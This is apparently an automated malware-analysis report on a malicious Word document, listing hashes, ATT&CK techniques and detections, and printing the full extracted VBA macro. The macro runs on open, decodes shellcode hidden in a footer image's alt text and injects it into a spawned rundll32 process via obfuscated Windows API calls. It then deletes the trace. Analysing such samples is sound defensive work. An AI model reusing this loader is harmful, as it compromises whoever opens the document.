Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0a71f9d09a6cf1e5…

MALICIOUS

Office (OLE)

42.0 KB Created: 2018-01-15 18:20:00 Authoring application: Microsoft Office Word First seen: 2018-01-23
MD5: 2089f97bf925111f8055fd7bc0733489 SHA-1: 6a0e2bdb71c3af5ca99ed5cee84df7186bb2c5ee SHA-256: 0a71f9d09a6cf1e51406d150fb0489a823aff7404a8abfe09f4ce49cda74cdee
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1071.001 Web Protocols T1055.012 Process Injection: Process Hollowing T1204.002 Malicious Link: Malicious File

The sample is a malicious Office document containing VBA macros. The macros utilize Windows API calls such as CreateProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread, indicating an attempt to inject code into another process. The presence of a Document_Open macro suggests automatic execution upon opening. The ClamAV detection further confirms its malicious nature.

Heuristics 9

  • ClamAV: Doc.Macro.Injection-6355574-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Injection-6355574-0
  • Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORY
    Reference to WriteProcessMemory API
  • Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREAD
    Reference to CreateRemoteThread API
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        If Len(Environ(a("PerCoRgwramEWX6X45372", "eCRwEX57"))) > 0 Then
        olives = Environ(a("PwcindiMr", "PcM")) & a("h\SysMWkOYW64\MrunPdl l3p2.eoxe", "hMkYP po")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4632 bytes
SHA-256: 565454778c80361536aa3fdad85745068dbb3ea3ff1122adca8e3b89e1e81d72
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Type PROC
    pr As Long
    gdfgs As Long
    asdfasdf As Long
    wqrwerfsae As Long
End Type

Private Type INFO
    cb As Long
    asdfasdf As String
    asdfhfg As String
    ouin As String
    dtbd As Long
    sdfvs As Long
    nulim As Long
    xbyju As Long
    dwXCountChars As Long
    dwYCountChars As Long
    erctvtuuno As Long
    jbuytbju As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    lmomgt As Long
    hStdOutput As Long
    hStdError As Long
End Type

#If VBA7 Then
    Private Declare PtrSafe Function InsertFooter Lib "kernel32" Alias "CreateRemoteThread" (ByVal pr As Long, ByVal gerwcfgerwct As Long, ByVal ewrcterwctwe As Long, ByVal uyinuyit As LongPtr, qwrceeqwre As Long, ByVal omu9olnryu As Long, qertwqc As Long) As LongPtr
    Private Declare PtrSafe Function CreateFooter Lib "kernel32" Alias "VirtualAllocEx" (ByVal pr As Long, ByVal gsdfgrsdr As Long, ByVal rgaegedg As Long, ByVal gasdfgasdf As Long, ByVal gaesrgear As Long) As LongPtr
    Private Declare PtrSafe Function WriteFooter Lib "kernel32" Alias "WriteProcessMemory" (ByVal pr As Long, ByVal crefytrey As LongPtr, ByRef ervyertvy As Any, ByVal ikbedhrt As Long, ByVal ertcqxeerqw As LongPtr) As LongPtr
    Private Declare PtrSafe Function ViewFooter Lib "kernel32" Alias "CreateProcessA" (ByVal gdfhdfsghs As String, ByVal sfghfshdh As String, hdhdfgsad As Any, jkukghjyg As Any, ByVal asdfwetry As Long, ByVal ioiuyio As Long, yuiort As Any, ByVal ertyer As String, erevcbc As INFO, ewymoikfgh As PROC) As Long
#Else
    Private Declare Function InsertFooter Lib "kernel32" Alias "CreateRemoteThread" (ByVal pr As Long, ByVal gerwcfgerwct As Long, ByVal ewrcterwctwe As Long, ByVal uyinuyit As LongPtr, qwrceeqwre As Long, ByVal omu9olnryu As Long, qertwqc As Long) As Long
    Private Declare Function CreateFooter Lib "kernel32" Alias "VirtualAllocEx" (ByVal pr As Long, ByVal gsdfgrsdr As Long, ByVal rgaegedg As Long, ByVal gasdfgasdf As Long, ByVal gaesrgear As Long) As Long
    Private Declare Function WriteFooter Lib "kernel32" Alias "WriteProcessMemory" (ByVal pr As Long, ByVal crefytrey As Long, ByRef ervyertvy As Any, ByVal ikbedhrt As Long, ByVal ertcqxeerqw As Long) As Long
    Private Declare Function ViewFooter Lib "kernel32" Alias "CreateProcessA" (ByVal gdfhdfsghs As String, ByVal sfghfshdh As String, hdhdfgsad As Any, jkukghjyg As Any, ByVal asdfwetry As Long, ByVal ioiuyio As Long, yuiort As Any, ByVal ertyer As String, erevcbc As INFO, ewymoikfgh As PROC) As Long
#End If


Function clean(s As String)
    s = Replace(s, vbCr, "")
    s = Replace(s, vbLf, "")
    clean = Replace(s, vbCrLf, "")
End Function


Sub MtAbz()
    On Error GoTo Handler
    Dim docs
    Dim bit As Long, arr As Variant, off As Long
    Dim bread As PROC
    Dim olives As String
    Dim cheese As INFO
    Dim nil As String
    

#If VBA7 Then
    Dim page As LongPtr, res As LongPtr
#Else
    Dim page As Long, res As Long
#End If
    Dim f As String
    f = a(ActiveDocument.Sections(1).Footers(1).Range.InlineShapes(1).AlternativeText, "Ii7@yQAxdL")
    f = clean(f)
    
    arr = Split(f, ",")
    For i = 0 To UBound(arr)
        arr(i) = CInt(arr(i))
    Next i

    If Len(Environ(a("PerCoRgwramEWX6X45372", "eCRwEX57"))) > 0 Then
        olives = Environ(a("PwcindiMr", "PcM")) & a("h\SysMWkOYW64\MrunPdl l3p2.eoxe", "hMkYP po")
    Else
        olives = Environ(a("wPind7ir", "P7")) & a(" \GS8y/s/tFem3?2z\rfuZn5dllZ32.efxe", " G8/F?zfZ5")
    End If

    res = ViewFooter(nil, olives, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, nil, cheese, bread)

    page = CreateFooter(bread.pr, 0, UBound(arr), &H1000, &H40)
    For off = LBound(arr) To UBound(arr)
        bit = arr(off)
        res = WriteFooter(bread.pr, page + off, bit, 1, ByVal 0&)
    Next off
    res = InsertFooter(bread.pr, 0, 0, page, 0, 0, 0)
Handler:
End Sub


Function a(s As String, r As String) As String
    For c = 1 To Len(s)
        If InStr(1, r, Mid(s, c, 1)) = 0 Then
            a = a & Mid(s, c, 1)
        End If
    Next
End Function


Sub Document_Open()
    
    Call MtAbz
    
    ActiveDocument.Sections(1).Footers(1).Range.InlineShapes(1).Delete
    ActiveDocument.Save
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.